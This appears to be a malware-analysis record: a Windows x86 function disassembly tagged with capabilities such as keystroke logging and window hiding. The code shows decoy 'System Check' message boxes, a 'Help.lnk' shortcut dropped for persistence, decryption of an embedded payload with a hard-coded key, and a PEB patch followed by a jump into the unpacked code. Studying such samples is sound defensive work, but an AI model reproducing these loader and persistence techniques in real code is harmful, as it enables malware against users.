Function at 0x44b330
Capabilities:
Get common file path
Get number of processors
Hide graphical window
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x39d0
call fcn.005e0210
mov eax, dword [0x699280]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x39b0], 0
mov dword [ebp - 0x39ac], 0
push 0x64
lea eax, [ebp - 0xcc]
push eax
push 0x67
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
lea edx, [ebp - 0x194]
push edx
push 0x6b
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x39a4], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x39cc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x39bc], eax
push 0
mov ecx, dword [ebp - 0x39cc]
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x39c0], eax
push 1
mov edx, dword [ebp - 0x39bc]
push edx
mov eax, dword [ebp - 0x39c0]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 3
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x39a4]
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x43
push 0
push 0
push 0
push 0
push 0xfffffffffffffffe
mov edx, dword [ebp - 0x39a4]
push edx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebp - 0x39a4]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, dword [ebp - 0x39a4]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov edx, dword [ebp - 0x39a4]
push edx
call dword [sym.imp.USER32.dll_SetActiveWindow]
push 0
mov eax, dword [ebp - 0x39bc]
push eax
mov ecx, dword [ebp - 0x39c0]
push ecx
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 9
mov edx, dword [ebp - 0x39a4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, str.kernel32.dll
call fcn.0044b9c0
mov ecx, str.ntdll.dll
call fcn.0044b9c0
push str.MessageBoxTimeoutW
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x39b4], eax
push 0x5f5e100
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x39c4], eax
cmp dword [ebp - 0x39c4], 0
jne 0x44b4aa
or eax, 0xffffffff
jmp 0x44b8b6
mov eax, dword [ebp - 0x39c4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x39c8], ecx
call fcn.0044b8d0
call fcn.0044c790
mov dword [ebp - 0x39a8], eax
mov edx, dword [ebp - 0x39a8]
push edx
call fcn.0044c830
add esp, 4
call fcn.0044b8d0
mov ecx, str.crypt32.dll
call fcn.0044b9c0
push 0x190
push 0
push 0
push str.System_Check
push str.Checking_system_hardware
push 0
call dword [ebp - 0x39b4]
call fcn.0044b8d0
push 0x2000
push 0
push 0x707520
call fcn.005e1d60
add esp, 0xc
push 0x2000
push 0x707520
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x190
push 0
push 0
push str.System_Check
push str.Checking_system_hardware
push 0
call dword [ebp - 0x39b4]
jmp 0x44b565
push 0x800
push 0
lea eax, [ebp - 0x994]
push eax
call fcn.005e1d60
add esp, 0xc
push 0
push 0x1c
lea ecx, [ebp - 0x994]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
jmp 0x44b5a0
jmp 0x44b5b2
push 0x2000
push 0
lea edx, [ebp - 0x3994]
push edx
call fcn.005e1d60
add esp, 0xc
lea eax, [ebp - 0x994]
push eax
lea ecx, [ebp - 0x3994]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x44b5ee
jmp 0x44b600
jmp 0x44b612
mov dword [0x707518], 1
cmp dword [0x707518], 0
jle 0x44b6e3
mov dword [0x70751c], 0x14
mov edx, dword [0x70751c]
sub edx, 1
mov dword [0x70751c], edx
mov eax, 1
xor edx, edx
div dword [0x705570]
imul eax, dword [0x699d20]
add eax, dword [0x699d24]
mov dword [0x699d24], eax
mov eax, dword [0x699d20]
neg eax
mov dword [0x699d20], eax
mov ecx, dword [0x705570]
add ecx, 2
mov dword [0x705570], ecx
cmp dword [0x70751c], 1
jg 0x44b633
cmp dword [0x70751c], 0
je 0x44b6dc
mov eax, 1
xor edx, edx
div dword [0x705570]
imul eax, dword [0x699d20]
add eax, dword [0x699d24]
mov dword [0x699d24], eax
mov edx, dword [0x699d20]
neg edx
mov dword [0x699d20], edx
mov eax, dword [0x705570]
add eax, 2
mov dword [0x705570], eax
mov ecx, dword [0x707518]
add ecx, dword [0x70751c]
mov dword [0x707518], ecx
jmp 0x44b6de
jmp 0x44b6e3
jmp 0x44b61c
push 0x1000
push 0
lea edx, [ebp - 0x1994]
push edx
call fcn.005e1d60
add esp, 0xc
lea eax, [ebp - 0x39a0]
push eax
push 0
push 0
push 0x605430
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov ecx, dword [ebp - 0x39a0]
push ecx
lea edx, [ebp - 0x1994]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x44b735
push str.Help.lnk
lea eax, [ebp - 0x1994]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x44b759
push str.u68GoOUjuzELDp7s
push 0x705538
push 0
call fcn.004516a0
push eax
mov ecx, dword [ebp - 0x39a8]
push ecx
call fcn.0044d1b0
add esp, 0x14
call fcn.0044b8d0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push str.Application_Compatibility_Help_Module._All_rights_reserved.
lea edx, [ebp - 0x1994]
mov ecx, 0x707520
call fcn.0044b290
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, 0x6935b0
call fcn.0044b9c0
push 0xd7020
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x39b0], eax
push 0x6b810
push 0x699d28
lea edx, [ebp - 0x399c]
push edx
mov eax, dword [ebp - 0x39b0]
push eax
mov ecx, dword [ebp - 0x39a8]
push ecx
call fcn.0044d1e0
add esp, 0x14
mov edx, dword [ebp - 0x39ac]
add edx, dword [ebp - 0x399c]
mov dword [ebp - 0x39ac], edx
lea eax, [ebp - 0x399c]
push eax
mov ecx, dword [ebp - 0x39b0]
add ecx, dword [ebp - 0x399c]
push ecx
mov edx, dword [ebp - 0x39a8]
push edx
call fcn.0044cee0
add esp, 0xc
mov eax, dword [ebp - 0x39ac]
add eax, dword [ebp - 0x399c]
mov dword [ebp - 0x39ac], eax
mov ecx, dword [ebp - 0x39a8]
push ecx
call fcn.0044c730
add esp, 4
push 0x4b0
push 0
push 0
push str.System_Clean
push str.System_cleanup_complete_
push 0
call dword [ebp - 0x39b4]
mov ecx, dword [ebp - 0x39b0]
call fcn.0044bbd0
mov dword [ebp - 0x39b8], eax
mov edx, dword [ebp - 0x39c8]
mov eax, dword [ebp - 0x39b8]
mov ecx, dword [eax]
mov dword [edx + 8], ecx
mov edx, dword [ebp - 0x39c8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x39d0], ecx
mov edx, dword [ebp - 0x39d0]
mov eax, dword [ebp - 0x39b8]
mov ecx, dword [eax]
mov dword [edx + 0x10], ecx
mov edx, dword [ebp - 0x39b8]
mov eax, dword [edx + 8]
mov dword [ebp - 0x3998], eax
jmp dword [ebp - 0x3998]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005dffa1
mov esp, ebp
pop ebp
ret 0x10